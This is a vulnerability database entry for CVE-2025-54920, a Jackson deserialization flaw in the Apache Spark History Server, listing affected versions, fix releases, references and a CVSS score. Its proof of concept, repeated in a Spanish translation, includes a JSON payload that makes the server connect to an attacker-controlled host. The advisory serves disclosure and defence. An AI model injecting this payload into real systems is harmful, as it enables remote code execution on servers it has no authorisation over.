CVE-2025-54920

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Configurations

Configuration 1 (hide)

OR cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:*

History

20 Mar 2026, 19:16

Type Values Removed Values Added
Summary
  • (es) Este problema afecta a Apache Spark: antes de 3.5.7 y 4.0.1. Se recomienda a los usuarios actualizar a la versión 3.5.7 o 4.0.1 y posteriores, que corrige el problema. Resumen Apache Spark 3.5.4 y versiones anteriores contienen una vulnerabilidad de ejecución de código en la interfaz de usuario web de Spark History debido a una deserialización de Jackson excesivamente permisiva de los datos del registro de eventos. Esto permite a un atacante con acceso al directorio de registros de eventos de Spark inyectar cargas útiles JSON maliciosas que desencadenan la deserialización de clases arbitrarias, lo que permite la ejecución de comandos en el host que ejecuta el Spark History Server. Detalles La vulnerabilidad surge porque el Spark History Server utiliza la deserialización polimórfica de Jackson con @JsonTypeInfo.Id.CLASS en objetos SparkListenerEvent, lo que permite a un atacante especificar nombres de clase arbitrarios en el JSON del evento. Este comportamiento permite instanciar clases no deseadas, como org.apache.hive.jdbc.HiveConnection, que pueden realizar llamadas de red u otras acciones maliciosas durante la deserialización. El atacante puede explotar esto inyectando contenido JSON manipulado en los archivos de registro de eventos de Spark, que el History Server luego deserializa al iniciar o al cargar los registros de eventos. Por ejemplo, el atacante puede forzar al History Server a abrir una conexión JDBC a un servidor remoto controlado por el atacante, demostrando la capacidad de inyección de comandos remota. Prueba de concepto: 1. Ejecute Spark con el registro de eventos habilitado, escribiendo en un directorio con permisos de escritura (spark-logs). 2. Inyecte el siguiente JSON al principio de un archivo de registro de eventos: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://:/", "info": { "hive.metastore.uris": "thrift://:" } } 3. Inicie el Spark History Server con los registros apuntando al directorio modificado. 4. El Spark History Server inicia una conexión JDBC al servidor del atacante, confirmando la inyección. Impacto Un atacante con acceso de escritura a los registros de eventos de Spark puede ejecutar código arbitrario en el servidor que ejecuta el History Server, comprometiendo potencialmente todo el sistema.
First Time Apache spark
Apache
CPE cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:*
References () https://github.com/apache/spark/pull/51312 - () https://github.com/apache/spark/pull/51312 - Issue Tracking
References () https://github.com/apache/spark/pull/51323 - () https://github.com/apache/spark/pull/51323 - Issue Tracking
References () https://issues.apache.org/jira/browse/SPARK-52381 - () https://issues.apache.org/jira/browse/SPARK-52381 - Issue Tracking
References () https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s - () https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s - Mitigation, Vendor Advisory, Exploit
References () http://www.openwall.com/lists/oss-security/2026/03/13/4 - () http://www.openwall.com/lists/oss-security/2026/03/13/4 - Mailing List, Third Party Advisory, Exploit

17 Mar 2026, 13:16

Type Values Removed Values Added
CVSS v2 : unknown
v3 : unknown
v2 : unknown
v3 : 8.8

16 Mar 2026, 14:17

Type Values Removed Values Added
New CVE

Information

Published : 2026-03-16 14:17

Updated : 2026-03-20 19:16


NVD link : CVE-2025-54920

Mitre link : CVE-2025-54920

CVE.ORG link : CVE-2025-54920


JSON object : View

Products Affected

apache

  • spark
CWE
CWE-502

Deserialization of Untrusted Data